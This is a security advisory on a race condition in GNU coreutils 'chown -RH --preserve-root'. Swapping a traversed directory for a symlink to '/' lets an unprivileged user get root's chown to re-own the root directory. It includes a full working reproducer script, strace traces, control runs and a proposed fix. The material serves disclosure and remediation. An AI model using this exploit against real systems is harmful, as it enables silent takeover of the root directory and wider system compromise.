## Summary
A user who can write in a directory that a privileged account traverses
with `chown` or `chgrp -RH --preserve-root` — with `-R`, `-H`, and
`--preserve-root`, and without `-h` or `--from` — can cause `/` itself to
be re-owned, bypassing the explicit `--preserve-root` guarantee for `/`.
The owner or group of `/` is silently changed to the account named on the
command line, the command exits 0, and no dangerous-operation warning is
printed.
## Technical Details
The ineffective check is the second root guard in `change_file_owner`
(`src/chown-core.c:408-415`). At the FTS_DP visit it compares `file_stats`
— which is `ent->fts_statp`, the directory stat cached at FTS_D — against
`chopt.root_dev_ino` rather than re-statting the entry's current name.
Because `ent->fts_info` is FTS_DP, the entry is treated as a directory and
`ROOT_DEV_INO_CHECK` passes on the stale, non-`/` stat.
The data flow is:
- `-H` sets `bit_flags` to `FTS_COMFOLLOW` or `FTS_PHYSICAL`, `-R` sets
`recurse`, and `--preserve-root` sets `preserve_root`
(`src/chown.c:212-222`).
- `-R` forces `dereference` to 0 only when `bit_flags` equals
`FTS_PHYSICAL`; with `-H` that branch is skipped, so `dereference` stays -1
and `affect_symlink_referent` is true (`src/chown.c:279-293`).
- With `recurse` and `preserve_root`, `chopt.root_dev_ino` is set
(`src/chown.c:351-358`).
- At FTS_D the first root guard compares `ent->fts_statp` against `/`'s dev
and ino (`src/chown-core.c:295-311`); the cached stat is the real
directory, whose dev and ino differ from `/`, so it does not match and
returns true while the name is still unmodified.
- Under `FTS_CWDFD`, `fts_safe_changedir` (`gnulib/lib/fts.c:2023-2077`)
descends by opening the directory with `O_NOFOLLOW` and traversing by fd;
on the FTS_DP return it pops the parent fd and skips the dev and ino
recheck, so `fts_cwd_fd` becomes the parent directory while `fts_accpath`
remains the child name, and the name is re-resolved.
- Without `--from`, `restricted_chown` (`src/chown-core.c:233-234`) has
`required_uid` and `required_gid` both -1 and returns
`RC_do_ordinary_chown` immediately, performing no open and no inode recheck.
- The sink (`src/chown-core.c:446-454`) then calls `chownat(fts_cwd_fd,
file, uid, gid)` with flags 0, following the planted symlink to `/` and
changing `/`'s owner.
## Affected Versions
The race was reproduced with GNU coreutils 9.4, the audited development
commit `6f36b64689796bf89b57eb86265e41dc212968c8`, and upstream
`master` at `7d74e197bb90aeb4893d1e5f4ee5b998d27a13eb` during testing
on 2026-10-26. The relevant code in current `master` is unchanged.
Older, intermediate, and future versions were not exhaustively tested.
## Impact
The `--preserve-root` guarantee for `/` is bypassed: `/`'s owner or group
is silently changed to the account named on the command line, the command
returns 0, and no dangerous warning is printed. If that account is
attacker-controlled, system integrity can be further damaged.
## Proof of Concept
The behavior was reproduced on commit
`6f36b64689796bf89b57eb86265e41dc212968c8`. From a Git checkout of that
commit, initialize the required submodule and build:
```sh
git submodule update --init
./bootstrap --no-git --skip-po --gnulib-srcdir=gnulib
./configure --disable-nls
make
```
Then run the real CLI as root in a disposable container:
```
src/chown -RH --preserve-root 4242 /tmp/pocroot
```
The top-level subdirectory `/tmp/pocroot/victim` is owned by uid 65534. An
attacker process calls `setuid(65534)` and uses `inotify(IN_OPEN)` to catch
the moment fts descends into `victim` (an `O_NOFOLLOW|O_DIRECTORY` open
that must occur before the rename); it then renames `victim` to
`victim_moved` and creates `symlink("/", "victim")`. The `victim` subtree
contains 60000 directory entries to widen the FTS_D to FTS_DP window.
Observed output:
```
MODE=attack-RH
ROOT_UID_BEFORE=0
ROOT_UID_AFTER=4242
TARGET_UID=4242
CHOWN_EXIT=0
ATTACKER_EXIT=0
VICTIM_IS_SYMLINK=1
MOVED_IS_DIR=1
RESULT=SUPPORTED
```
`chown` stderr is 0 bytes, so the "it is dangerous to operate recursively
on ...(same as /)" warning is not printed; `/`'s owner changes from 0 to
4242 with rc 0, matching the success condition of bypassing the
`--preserve-root` guarantee for `/` and succeeding silently.
The strace of the affected `chown` child shows, for the name `victim`,
exactly three syscalls and no `newfstatat` between the open and the sink,
confirming the second root guard does not re-stat the current name and uses
the stale directory stat:
```
# 1) FTS_D stat of subdir VICTIM is cached as a *real directory*:
114 newfstatat(5, "victim", {st_mode=S_IFDIR|0755, st_size=4096, ...},
AT_SYMLINK_NOFOLLOW) = 0
# 2) fts descends (O_NOFOLLOW|O_DIRECTORY open). The rename and symlink
substitution happen here:
114 openat(5, "victim",
O_RDONLY|O_NOCTTY|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC|O_DIRECTORY) = 4
# 3) At FTS_DP the root-dev/ino guard sees the stale cached S_IFDIR stat,
so "victim" is
# not re-stat'ed; the sink fchownat(..., flags=0) follows the planted
symlink and chowns /:
114 fchownat(5, "victim", 4242, -1, 0) = 0
# 4) All syscalls on the name "victim" for PID 114:
114 newfstatat(5, "victim", {st_mode=S_IFDIR|0755, st_size=4096, ...},
AT_SYMLINK_NOFOLLOW) = 0
114 openat(5, "victim",
O_RDONLY|O_NOCTTY|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC|O_DIRECTORY) = 4
114 fchownat(5, "victim", 4242, -1, 0) = 0
```
Control runs:
```
MODE=no-attack
ROOT_UID_BEFORE=0
ROOT_UID_AFTER=0
TARGET_UID=4242
CHOWN_EXIT=0
ATTACKER_EXIT=0
VICTIM_IS_SYMLINK=0
RESULT=NOT_TRIGGERED
```
```
MODE=physical-no-H
ROOT_UID_BEFORE=0
ROOT_UID_AFTER=0
TARGET_UID=4242
CHOWN_EXIT=0
ATTACKER_EXIT=0
VICTIM_IS_SYMLINK=1
MOVED_IS_DIR=1
RESULT=NOT_TRIGGERED
```
### Reproducer
The following script is a complete structural reproducer. It requires a
disposable container running as root, `inotify-tools`, and `util-linux`
providing `setpriv`. It deliberately changes the container's `/` owner;
do not run it directly on a host.
```sh
#!/bin/sh
set -eu
CHOWN=${CHOWN:-./src/chown}
TOP=$(mktemp -d /tmp/chown-poc.XXXXXX)/TOP
mkdir -p "$TOP/victim"
chown 0:0 "$TOP"
chmod 0777 "$TOP"
chown 65534:65534 "$TOP/victim"
chmod 0755 "$TOP/victim"
# Widen the FTS_D-to-FTS_DP window.
seq -f "$TOP/victim/f%06g" 1 60000 | xargs -n 500 touch
cat >/tmp/chown-attacker.sh <<'EOF'
#!/bin/sh
set -eu
top=$1
inotifywait -q -e open "$top/victim" >/dev/null
mv "$top/victim" "$top/victim_moved"
ln -s / "$top/victim"
EOF
chmod 0755 /tmp/chown-attacker.sh
root_before=$(stat -c '%u:%g' /)
setpriv --reuid=65534 --regid=65534 --clear-groups \
/tmp/chown-attacker.sh "$TOP" &
attacker_pid=$!
sleep 1
"$CHOWN" -RH --preserve-root 4242 "$TOP"
wait "$attacker_pid"
printf 'root_before=%s root_after=%s\n' \
"$root_before" "$(stat -c '%u:%g' /)"
test "$(stat -c '%u' /)" = 4242
test "$(readlink "$TOP/victim")" = /
test -d "$TOP/victim_moved"
```
### Observed result files
```
ev_primary.txt
--------------
MODE=attack-RH
ROOT_UID_BEFORE=0
ROOT_UID_AFTER=4242
TARGET_UID=4242
CHOWN_EXIT=0
ATTACKER_EXIT=0
VICTIM_IS_SYMLINK=1
MOVED_IS_DIR=1
RESULT=SUPPORTED
```
```
ev_noattack.txt
---------------
MODE=no-attack
ROOT_UID_BEFORE=0
ROOT_UID_AFTER=0
TARGET_UID=4242
CHOWN_EXIT=0
ATTACKER_EXIT=0
VICTIM_IS_SYMLINK=0
RESULT=NOT_TRIGGERED
```
```
ev_physical.txt
---------------
MODE=physical-no-H
ROOT_UID_BEFORE=0
ROOT_UID_AFTER=0
TARGET_UID=4242
CHOWN_EXIT=0
ATTACKER_EXIT=0
VICTIM_IS_SYMLINK=1
MOVED_IS_DIR=1
RESULT=NOT_TRIGGERED
```
```
ev_strace.txt
-------------
MODE=attack-RH
ROOT_UID_BEFORE=0
ROOT_UID_AFTER=4242
TARGET_UID=4242
CHOWN_EXIT=0
ATTACKER_EXIT=0
VICTIM_IS_SYMLINK=1
MOVED_IS_DIR=1
RESULT=SUPPORTED
```
```
evidence.txt
------------
MODE=attack-RH
ROOT_UID_BEFORE=0
ROOT_UID_AFTER=4242
TARGET_UID=4242
CHOWN_EXIT=0
ATTACKER_EXIT=0
VICTIM_IS_SYMLINK=1
MOVED_IS_DIR=1
RESULT=SUPPORTED
```
```
strace_run.txt
--------------
----- chown output -----
----- evidence -----
MODE=attack-RH
ROOT_UID_BEFORE=0
ROOT_UID_AFTER=4242
TARGET_UID=4242
CHOWN_EXIT=0
ATTACKER_EXIT=0
VICTIM_IS_SYMLINK=1
MOVED_IS_DIR=1
RESULT=SUPPORTED
```
```
strace_victim_syscalls.txt
--------------------------
# Vulnerable chown child is PID 114 (spawned by poc). PID 108 is the
# setup 'chown -R 65534:65534' that prepares the attacker-writable tree.
# Decisive sequence for PID 114:
# 1) FTS_D stat of subdir VICTIM is cached as a *real directory*:
114 newfstatat(5, "victim", {st_mode=S_IFDIR|0755, st_size=4096, ...},
AT_SYMLINK_NOFOLLOW) = 0
# 2) fts descends (O_NOFOLLOW|O_DIRECTORY open). Attacker's inotify
IN_OPEN
# fires here; VICTIM is renamed and replaced by symlink -> /.
114 openat(5, "victim",
O_RDONLY|O_NOCTTY|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC|O_DIRECTORY) = 4
# 3) At FTS_DP the root-dev/ino guard sees the STALE cached S_IFDIR stat,
# so no re-stat of "victim" happens; the sink fchownat(..., flags=0)
# follows the planted symlink and chowns /:
114 fchownat(5, "victim", 4242, -1, 0) = 0
# 4) All syscalls on the name "victim" for PID 114:
114 newfstatat(5, "victim", {st_mode=S_IFDIR|0755, st_size=4096, ...},
AT_SYMLINK_NOFOLLOW) = 0
114 openat(5, "victim",
O_RDONLY|O_NOCTTY|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC|O_DIRECTORY) = 4
114 fchownat(5, "victim", 4242, -1, 0) = 0
```
## Suggested Fix
Do not re-stat the name and then call `chownat()` by name: a replacement
between those two operations would leave another TOCTOU window. Instead,
pin the current directory entry when handling `FTS_DP`, for example by
opening it with `O_NOFOLLOW | O_DIRECTORY`, validating its device and
inode against the expected directory, and performing `fchown()` on that
file descriptor. If the name no longer refers to the expected directory,
abort the operation and emit the preserve-root diagnostic. Add a
regression test that replaces the directory during traversal and verifies
that `/` is never changed.
## Credit
SecBuddyF (with Hy4-preview) of Tencent KeenSecurityLab